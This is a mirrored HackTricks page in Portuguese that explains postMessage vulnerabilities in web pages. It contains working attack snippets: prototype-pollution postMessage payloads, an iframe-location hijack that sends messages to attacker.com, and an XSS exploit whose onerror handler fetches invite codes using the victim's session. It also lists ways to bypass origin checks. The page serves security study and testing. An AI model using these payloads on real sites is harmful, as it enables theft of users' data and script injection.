mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
227 lines
11 KiB
Markdown
227 lines
11 KiB
Markdown
# Vulnerabilidades de PostMessage
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Enviar **PostMessage**
|
||
|
||
**PostMessage** usa a seguinte função para enviar uma mensagem:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
Note que **targetOrigin** pode ser um '\*' ou uma URL como _https://company.com._\
|
||
No **segundo cenário**, a **mensagem só pode ser enviada para aquele domínio** (mesmo que a origem do objeto window seja diferente).\
|
||
Se o **caractere curinga** for usado, **as mensagens podem ser enviadas para qualquer domínio**, e serão enviadas para a origem do objeto Window.
|
||
|
||
### Atacando iframe & caractere curinga em **targetOrigin**
|
||
|
||
Como explicado em [**este relatório**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se você encontrar uma página que pode ser **iframed** (sem proteção `X-Frame-Header`) e que está **enviando mensagens sensíveis** via **postMessage** usando um **caractere curinga** (\*), você pode **modificar** a **origem** do **iframe** e **vazar** a **mensagem sensível** para um domínio controlado por você.\
|
||
Note que se a página pode ser iframed, mas o **targetOrigin** está **definido para uma URL e não para um caractere curinga**, esse **truque não funcionará**.
|
||
```html
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## exploração do addEventListener
|
||
|
||
**`addEventListener`** é a função usada pelo JS para declarar a função que está **esperando `postMessages`**.\
|
||
Um código semelhante ao seguinte será usado:
|
||
```javascript
|
||
window.addEventListener(
|
||
"message",
|
||
(event) => {
|
||
if (event.origin !== "http://example.org:8080") return
|
||
|
||
// ...
|
||
},
|
||
false
|
||
)
|
||
```
|
||
Note neste caso como a **primeira coisa** que o código está fazendo é **verificando a origem**. Isso é terrivelmente **importante**, principalmente se a página for fazer **qualquer coisa sensível** com as informações recebidas (como mudar uma senha). **Se não verificar a origem, atacantes podem fazer com que as vítimas enviem dados arbitrários para esses endpoints** e mudem as senhas das vítimas (neste exemplo).
|
||
|
||
### Enumeração
|
||
|
||
Para **encontrar ouvintes de eventos** na página atual, você pode:
|
||
|
||
- **Pesquisar** o código JS por `window.addEventListener` e `$(window).on` (_versão JQuery_)
|
||
- **Executar** no console das ferramentas de desenvolvedor: `getEventListeners(window)`
|
||
|
||
 (1).png>)
|
||
|
||
- **Ir para** _Elements --> Event Listeners_ nas ferramentas de desenvolvedor do navegador
|
||
|
||
.png>)
|
||
|
||
- Usar uma **extensão de navegador** como [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Essas extensões de navegador irão **interceptar todas as mensagens** e mostrá-las para você.
|
||
|
||
### Bypasses de verificação de origem
|
||
|
||
- O atributo **`event.isTrusted`** é considerado seguro, pois retorna `True` apenas para eventos gerados por ações genuínas do usuário. Embora seja desafiador contornar se implementado corretamente, sua importância nas verificações de segurança é notável.
|
||
- O uso de **`indexOf()`** para validação de origem em eventos PostMessage pode ser suscetível a contornos. Um exemplo que ilustra essa vulnerabilidade é:
|
||
|
||
```javascript
|
||
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- O método **`search()`** de `String.prototype.search()` é destinado a expressões regulares, não a strings. Passar qualquer coisa que não seja uma regexp leva a uma conversão implícita para regex, tornando o método potencialmente inseguro. Isso ocorre porque em regex, um ponto (.) atua como um curinga, permitindo contornar a validação com domínios especialmente elaborados. Por exemplo:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- A função **`match()`**, semelhante a `search()`, processa regex. Se a regex estiver mal estruturada, pode ser suscetível a contornos.
|
||
- A função **`escapeHtml`** é destinada a sanitizar entradas escapando caracteres. No entanto, ela não cria um novo objeto escapado, mas sobrescreve as propriedades do objeto existente. Esse comportamento pode ser explorado. Particularmente, se um objeto puder ser manipulado de tal forma que sua propriedade controlada não reconheça `hasOwnProperty`, a `escapeHtml` não funcionará como esperado. Isso é demonstrado nos exemplos abaixo:
|
||
|
||
- Falha Esperada:
|
||
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\",
|
||
})
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- Contornando a escapada:
|
||
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"))
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
No contexto dessa vulnerabilidade, o objeto `File` é notavelmente explorável devido à sua propriedade `name` somente leitura. Essa propriedade, quando usada em templates, não é sanitizada pela função `escapeHtml`, levando a potenciais riscos de segurança.
|
||
|
||
- A propriedade `document.domain` em JavaScript pode ser definida por um script para encurtar o domínio, permitindo uma aplicação mais relaxada da política de mesma origem dentro do mesmo domínio pai.
|
||
|
||
### Bypass de e.origin == window.origin
|
||
|
||
Ao incorporar uma página da web dentro de um **iframe sandboxed** usando %%%%%%, é crucial entender que a origem do iframe será definida como nula. Isso é particularmente importante ao lidar com **atributos de sandbox** e suas implicações na segurança e funcionalidade.
|
||
|
||
Ao especificar **`allow-popups`** no atributo sandbox, qualquer janela pop-up aberta de dentro do iframe herda as restrições de sandbox de seu pai. Isso significa que, a menos que o atributo **`allow-popups-to-escape-sandbox`** também seja incluído, a origem da janela pop-up é igualmente definida como `null`, alinhando-se com a origem do iframe.
|
||
|
||
Consequentemente, quando uma pop-up é aberta sob essas condições e uma mensagem é enviada do iframe para a pop-up usando **`postMessage`**, tanto o envio quanto o recebimento têm suas origens definidas como `null`. Essa situação leva a um cenário onde **`e.origin == window.origin`** avalia como verdadeiro (`null == null`), porque tanto o iframe quanto a pop-up compartilham o mesmo valor de origem `null`.
|
||
|
||
Para mais informações **leia**:
|
||
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-1.md
|
||
{{#endref}}
|
||
|
||
### Contornando e.source
|
||
|
||
É possível verificar se a mensagem veio da mesma janela em que o script está ouvindo (especialmente interessante para **Content Scripts de extensões de navegador** para verificar se a mensagem foi enviada da mesma página):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if (received_message.source !== window) {
|
||
return
|
||
}
|
||
```
|
||
Você pode forçar **`e.source`** de uma mensagem a ser nulo criando um **iframe** que **envia** o **postMessage** e é **imediatamente deletado**.
|
||
|
||
Para mais informações **leia:**
|
||
|
||
{{#ref}}
|
||
bypassing-sop-with-iframes-2.md
|
||
{{#endref}}
|
||
|
||
### Bypass do X-Frame-Header
|
||
|
||
Para realizar esses ataques, idealmente você poderá **colocar a página da vítima** dentro de um `iframe`. Mas alguns cabeçalhos como `X-Frame-Header` podem **prevenir** esse **comportamento**.\
|
||
Nesses cenários, você ainda pode usar um ataque menos furtivo. Você pode abrir uma nova aba para a aplicação web vulnerável e se comunicar com ela:
|
||
```html
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### Roubo de mensagem enviada para o filho bloqueando a página principal
|
||
|
||
Na página a seguir, você pode ver como poderia roubar um **sensitive postmessage data** enviado para um **child iframe** bloqueando a **main** página antes de enviar os dados e abusando de um **XSS no filho** para **leak the data** antes que seja recebido:
|
||
|
||
{{#ref}}
|
||
blocking-main-page-to-steal-postmessage.md
|
||
{{#endref}}
|
||
|
||
### Roubo de mensagem modificando a localização do iframe
|
||
|
||
Se você puder iframe uma página da web sem X-Frame-Header que contém outro iframe, você pode **change the location of that child iframe**, então se ele estiver recebendo um **postmessage** enviado usando um **wildcard**, um atacante poderia **change** a **origin** desse iframe para uma página **controlled** por ele e **steal** a mensagem:
|
||
|
||
{{#ref}}
|
||
steal-postmessage-modifying-iframe-location.md
|
||
{{#endref}}
|
||
|
||
### postMessage para Poluição de Protótipo e/ou XSS
|
||
|
||
Em cenários onde os dados enviados através de `postMessage` são executados por JS, você pode **iframe** a **page** e **exploit** a **prototype pollution/XSS** enviando o exploit via `postMessage`.
|
||
|
||
Um par de **very good explained XSS though `postMessage`** pode ser encontrado em [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
|
||
Exemplo de um exploit para abusar de **Prototype Pollution e então XSS** através de um `postMessage` para um `iframe`:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe
|
||
id="idframe"
|
||
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(
|
||
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
|
||
"*"
|
||
)
|
||
document
|
||
.getElementById("iframe_victim")
|
||
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
|
||
}
|
||
|
||
setTimeout(get_code, 2000)
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Para **mais informações**:
|
||
|
||
- Link para a página sobre [**poluição de protótipo**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||
- Link para a página sobre [**XSS**](../xss-cross-site-scripting/index.html)
|
||
- Link para a página sobre [**poluição de protótipo do lado do cliente para XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||
|
||
## Referências
|
||
|
||
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
- Para praticar: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|